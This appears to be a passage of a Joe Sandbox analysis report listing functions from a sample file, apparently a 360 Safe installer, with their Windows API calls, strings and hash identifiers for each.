Opcode ID: 18cd74f08ef8d41d2b89c1381c869ecec1f22cd19b284e7747c60944469d65f2
Instruction ID: c4d8b34194980d6c5eeeb8143c4f39ef78641564b84d719eb69bebb549039e22
Opcode Fuzzy Hash: 18cd74f08ef8d41d2b89c1381c869ecec1f22cd19b284e7747c60944469d65f2
Instruction Fuzzy Hash: 1231E4319002159ACF28EFA4CC5AFBE77E2EF71354F50852DE5069B190DB30DA80C792

Function 001CA606 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 001CA689
SelectObject.GDI32(00000000,?), ref: 001CA69E
SelectObject.GDI32(00000000,00000000), ref: 001CA6CA
DeleteDC.GDI32(00000000), ref: 001CA6DF

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDelete
String ID:
API String ID: 488333989-0
Opcode ID: 82a712428776fd9b145fe53ef097a0179a908007fda5885548c965c647559d47
Instruction ID: 41cbe3179052691cc2a7356e002ff7399045fb8aac5708d8f9686bedbae9f794
Opcode Fuzzy Hash: 82a712428776fd9b145fe53ef097a0179a908007fda5885548c965c647559d47
Instruction Fuzzy Hash: 2531E27190021EAFCF12AFA0CC45EEE7BB9EF68304F044129FD05A2261DB31DA65DB91

Function 5F5205F0 Relevance: 6.1, APIs: 4, Instructions: 76threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 5F5205F7
GetCurrentThreadId.KERNEL32 ref: 5F52060C
EnterCriticalSection.KERNEL32(5F5BC570), ref: 5F520619
LeaveCriticalSection.KERNEL32(5F5BC570), ref: 5F5206D4

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CriticalSection$CurrentEnterH_prolog3LeaveThread
String ID:
API String ID: 1021104131-0
Opcode ID: 07a150d1114c755f0e906abe696d4a1c8630523ea48ed5a313b799ff8a0a7783
Instruction ID: f0671496581d4f2386d8d5400cde601b82706d6f0553db4119234b18439ede04
Opcode Fuzzy Hash: 07a150d1114c755f0e906abe696d4a1c8630523ea48ed5a313b799ff8a0a7783
Instruction Fuzzy Hash: 4031F7B1A077019FD340EFA4C548A66B7E0BB88715F11867ED54A8B2D0EB70E901CB94

Function 001D0545 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D054C

Part of subcall function 001CA6F2: _memset.LIBCMT ref: 001CA71F
Part of subcall function 001CA6F2: _memset.LIBCMT ref: 001CA72D
Part of subcall function 001CA6F2: GetTempPathW.KERNEL32(00000400,?,?,00000000,000000CE,DLL,00000014,0017BCDE), ref: 001CA741
Part of subcall function 001CA6F2: _memset.LIBCMT ref: 001CA754
Part of subcall function 001CA6F2: PathCombineW.SHLWAPI(?,?,?), ref: 001CA784
Part of subcall function 001CA6F2: _wcscat.LIBCMT ref: 001CA796
Part of subcall function 001CA6F2: PathFileExistsW.SHLWAPI(?), ref: 001CA7A4

DeleteFileW.KERNEL32(?,00000008,001CD144,?,00000000,000000CE,DLL,00000014,0017BCDE), ref: 001D0593
SHCreateDirectory.SHELL32(00000000,?,?), ref: 001D05C4

Part of subcall function 001D0426: SetupIterateCabinetW.SETUPAPI(00000000,00000000,001D0376,00000000), ref: 001D0454

DeleteFileW.KERNEL32(?,?), ref: 001D05FA

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FilePath_memset$Delete$CabinetCombineCreateDirectoryExistsH_prolog3IterateSetupTemp_wcscat
String ID:
API String ID: 833124302-0
Opcode ID: 78c4994d406bfa5252e3eba63e9ad310c59c233a15b3ea49dc3c4f753b4ee403
Instruction ID: ee8b57210be22218b202877dfc343fced0240cc42d6d130801b87014e36b585d
Opcode Fuzzy Hash: 78c4994d406bfa5252e3eba63e9ad310c59c233a15b3ea49dc3c4f753b4ee403
Instruction Fuzzy Hash: 23117271A1011A9ECB15EBE4EC91BFEB378AF65314F10442EF511A72C1DF209A45DB61

Function 001780FC Relevance: 6.1, APIs: 4, Instructions: 64windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00178116
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 0017813D
TranslateMessage.USER32(?), ref: 00178158
DispatchMessageW.USER32(?), ref: 0017815F

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Message$CallbackDispatchDispatcherPeekTranslateUser
String ID:
API String ID: 1533324876-0
Opcode ID: e135f8ab3bad88ba3e8c29e5f389383278c46290ac1c83727eabd920f413ecc9
Instruction ID: 9608300440f1552fad468fb35ccc8a9753fbeec9f39401cd01ee4a81cc628a53
Opcode Fuzzy Hash: e135f8ab3bad88ba3e8c29e5f389383278c46290ac1c83727eabd920f413ecc9
Instruction Fuzzy Hash: 5401DEB124560ABFAB145FA49CCC8BBB7BCEF52399B518129F506C2410FF20CC038AA0

Function 001A683D Relevance: 6.1, APIs: 4, Instructions: 59filenetworkCOMMON

Download Yara Rule

APIs

URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 001A6871
_memset.LIBCMT ref: 001A68A0
URLDownloadToCacheFileW.URLMON(00000000,?,?,00000104,00000000,00000000), ref: 001A68B8
DeleteFileW.KERNEL32(?,?,00000000,?), ref: 001A68C8

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$Download$CacheDelete_memset
String ID:
API String ID: 1835763934-0
Opcode ID: 0ebd94bfa151c37a55f8b904ae8babb2c2a14481cb8affe0f166c11abbb738b3
Instruction ID: f6b6f41a52d68575323ff778e25b24719848486286646df18166c04d6d41dc3d
Opcode Fuzzy Hash: 0ebd94bfa151c37a55f8b904ae8babb2c2a14481cb8affe0f166c11abbb738b3
Instruction Fuzzy Hash: 1601C475511218AACB21EB669C09EEFBBBCEF4AB94F040061B504D3041E778CE90CAE5

Function 5F520345 Relevance: 6.1, APIs: 4, Instructions: 53networkCOMMON

Download Yara Rule

APIs

WSAAsyncSelect.WS2_32(?,00000000,?,00000000), ref: 5F520382
shutdown.WS2_32(?,00000002), ref: 5F52038D
closesocket.WS2_32(?), ref: 5F5203A3
WSACancelAsyncRequest.WS2_32(?), ref: 5F5203D8

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Async$CancelRequestSelectclosesocketshutdown
String ID:
API String ID: 3577682533-0
Opcode ID: 89aba77fc55acd28d3a31905f95565705f9748df85fbdf5e3dccce348c0e8f08
Instruction ID: 0bdccb47dbdcccc74ec86999ea28107da39b3abbc5df24e13bb0efd0c20c8024
Opcode Fuzzy Hash: 89aba77fc55acd28d3a31905f95565705f9748df85fbdf5e3dccce348c0e8f08
Instruction Fuzzy Hash: 5F11E0B12027008BD7249B68D588F6A73E5AF84B31F00472DF0AB875D1CB74F845CB80

Function 00181F06 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00181F0D

Part of subcall function 0017DEB6: GetFileAttributesW.KERNEL32(?), ref: 0017DEBA

_wcsrchr.LIBCMT ref: 00181F43

Part of subcall function 00181F06: CreateDirectoryW.KERNEL32(?,00000000), ref: 00181F75
Part of subcall function 00181F06: GetLastError.KERNEL32 ref: 00181F7F

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AttributesCreateDirectoryErrorFileH_prolog3Last_wcsrchr
String ID:
API String ID: 2010142796-0
Opcode ID: 69a04b55cf8da8708b01aad4e49cc3353bf6f6a19cd90af42695ab8b97df5ddb
Instruction ID: 5734a820d58c0367820f3f7d1e8780f99d782e3181084bb0631df7a97578383d
Opcode Fuzzy Hash: 69a04b55cf8da8708b01aad4e49cc3353bf6f6a19cd90af42695ab8b97df5ddb
Instruction Fuzzy Hash: 3701F732504111F7DF227B31AC469BE3B29AF31B50F214429F90CEA191DF208E8A9F51

Function 0019667F Relevance: 6.0, APIs: 4, Instructions: 43windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(000000CD), ref: 00196699
Shell_NotifyIconW.SHELL32(00000001,00000284), ref: 00196703
Shell_NotifyIconW.SHELL32(00000000,00000284), ref: 0019670B
SetTimer.USER32(?,00002711,000007D0,00000000), ref: 0019671B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Icon$NotifyShell_$LoadTimer
String ID:
API String ID: 2558709860-0
Opcode ID: 40ea1f4321b9891d95e23553dd9687ef201dee18e4b248c31b6c6e5d6c40118f
Instruction ID: c6f42910310b167d6b828331a8bf56e17e4ab5b353f98455c3fc946137a849b9
Opcode Fuzzy Hash: 40ea1f4321b9891d95e23553dd9687ef201dee18e4b248c31b6c6e5d6c40118f
Instruction Fuzzy Hash: 8E018074501741DFEB20CF74DC89F97BBF8EB48348F00482EE59996251C7B56954CB60

Function 001B14AF Relevance: 6.0, APIs: 4, Instructions: 29windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 001B14C3
IsWindowEnabled.USER32(?), ref: 001B14D0
PostMessageW.USER32(?,000008C7,?,?), ref: 001B14F3
InvalidateRect.USER32(?,00000000,00000001), ref: 001B1500

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Window$EnabledInvalidateMessagePostRect
String ID:
API String ID: 2423392173-0
Opcode ID: abc5e53d118f97ca84c1c4e9832b9379a6217b304617f6730af92a0a4fdc89c3
Instruction ID: 87c1b7d83d48541a9e46217771a51974561468dc277272108577149aba8d03cf
Opcode Fuzzy Hash: abc5e53d118f97ca84c1c4e9832b9379a6217b304617f6730af92a0a4fdc89c3
Instruction Fuzzy Hash: 6EF05431600F10FBFB215B64DC1DFD67BE5BB10705F814818F596C54A0DFA29810DB64

Function 001EE98B Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 001EE99E

Part of subcall function 001F30A0: __FindPESection.LIBCMT ref: 001F30FB

__getptd_noexit.LIBCMT ref: 001EE9AE
__freeptd.LIBCMT ref: 001EE9B8
ExitThread.KERNEL32 ref: 001EE9C1

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
String ID:
API String ID: 3182216644-0
Opcode ID: eb6b018a5a20a53f0a34e43635ef140f39839d4cb68eac3dd632fa527b87de45
Instruction ID: 0ab2573f532e12e35be8ddd515b6149b74787252214249747dd528ff8d406f87
Opcode Fuzzy Hash: eb6b018a5a20a53f0a34e43635ef140f39839d4cb68eac3dd632fa527b87de45
Instruction Fuzzy Hash: C1D0123100065DABEF2427F6FD0E76A36D95F60364F5400107908804B2DFB4D8D1C926

Function 0016D200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0016D244
__CxxThrowException@8.LIBCMT ref: 0016D25B

Part of subcall function 001E5546: _malloc.LIBCMT ref: 001E5560

Strings

P ", xrefs: 0016D253

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: P "
API String ID: 4063778783-3541668580
Opcode ID: d9897f223f574d6407a90ecd364fd20bdd58f211eb191a44feb76d2f525e0f2d
Instruction ID: 04e82564f89a3afa33d4b4ec20a774bd6b41f61335ee80de292769f49e5b8f3b
Opcode Fuzzy Hash: d9897f223f574d6407a90ecd364fd20bdd58f211eb191a44feb76d2f525e0f2d
Instruction Fuzzy Hash: 88F0E2B1A042006AD308DF64EA52B6E72A2ABD4700F448A2DF41681184EB34C62CC543

Function 5F4D9329 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 5F4D935C
GetLastError.KERNEL32 ref: 5F4D936A

Part of subcall function 5F4D9134: _wcslen.LIBCMT ref: 5F4D913B

Strings

[%d.] __open_file create file(%s) fail! error code is %d, xrefs: 5F4D9379

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CreateErrorFileLast_wcslen
String ID: [%d.] __open_file create file(%s) fail! error code is %d
API String ID: 3865106863-2798064650
Opcode ID: d96326cf3355cce016be9604444607bbf0d647c162dab35b32b35c10474c2562
Instruction ID: c817482e6fc4707fc7236baa5939284969a58f704eada3ac8089072e8d630c60
Opcode Fuzzy Hash: d96326cf3355cce016be9604444607bbf0d647c162dab35b32b35c10474c2562
Instruction Fuzzy Hash: 3001A9B1140304FFEB546E70CC29FAA3BAAFF08325F008529FAA7DA1D0D6719454CB50

Function 5F525F4C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 5F52325B: __EH_prolog3.LIBCMT ref: 5F523262

GetTickCount.KERNEL32 ref: 5F525F87

Strings

tr.p.360.cn, xrefs: 5F525F7A, 5F525F7F, 5F525F99
agt.p.360.cn, xrefs: 5F525FAA

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountH_prolog3Tick
String ID: agt.p.360.cn$tr.p.360.cn
API String ID: 3287309161-3328026606
Opcode ID: e03a3178b70137da0f0537b213af2a89e5da64b40b944ecaf423f8cf115ac406
Instruction ID: ba84c914a341efd330d37d54e80a253a782f0e99dc169d8b53db37a04efd6b17
Opcode Fuzzy Hash: e03a3178b70137da0f0537b213af2a89e5da64b40b944ecaf423f8cf115ac406
Instruction Fuzzy Hash: 26F0B4F22023242BD600569A9D54BBB77DDDB94A75F00012EFA15D71C0DF656C4187B4

Function 001A66E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SHGetValueW.SHLWAPI(80000001,Software\360Safe,EnableUE,?,00000000,?,&pid=,&ver=), ref: 001A670E

Strings

EnableUE, xrefs: 001A66FF
Software\360Safe, xrefs: 001A6704

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Value
String ID: EnableUE$Software\360Safe
API String ID: 3702945584-3756293347
Opcode ID: d66c050cb896e318d4f00c3026742cecf908fb8944d94c3cd7078f9f50e2fb1d
Instruction ID: e29f95df6f1122511143c0c71105476268ebdd7070789d76a752212b6c306f3f
Opcode Fuzzy Hash: d66c050cb896e318d4f00c3026742cecf908fb8944d94c3cd7078f9f50e2fb1d
Instruction Fuzzy Hash: CCE06D72E10208FACB00DBE09C05BCEB7FCAB04705F1081B6A502E2080EA709754CB50

Function 00195AFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00195B0D
SHAppBarMessage.SHELL32(00000000,?), ref: 00195B2F

Strings

$, xrefs: 00195B21

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Message_memset
String ID: $
API String ID: 2116056029-3993045852
Opcode ID: 6cbd5c709c0cf4bf34dbabb6d94edbe32329bcb822739b2eaa162f1f2dadc732
Instruction ID: f1174133699b2d030f71c69ba89e4dd3e45e18149e337fcb2187a30bb9d12908
Opcode Fuzzy Hash: 6cbd5c709c0cf4bf34dbabb6d94edbe32329bcb822739b2eaa162f1f2dadc732
Instruction Fuzzy Hash: 60E0BF71D002189BEB10DB99DD4ABDEB7F8EB4C714F100165E619B7180E7B6EA048BE5

Function 001967E9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,D!,0017AFA3,?), ref: 001967FA
ShowWindow.USER32(?,00000000,D!,0017AFA3,?), ref: 00196809

Strings

D!, xrefs: 001967EE

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ShowWindow
String ID: D!
API String ID: 1268545403-911024508
Opcode ID: 618b15a104b9d0bf51c6da0226d58eb04748329b2969fe393295db1bb520a7cc
Instruction ID: 0ba9b6180d6c4121a4174ce26bdfb29edb6ab7c930054fcdbc5e681739e64fe3
Opcode Fuzzy Hash: 618b15a104b9d0bf51c6da0226d58eb04748329b2969fe393295db1bb520a7cc
Instruction Fuzzy Hash: F6E01A31145700FAEA21AB20DC0ABD9BAA1EB20705FA1882AB181620A0E7B12840CA55

Function 00182C59 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00182C60

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
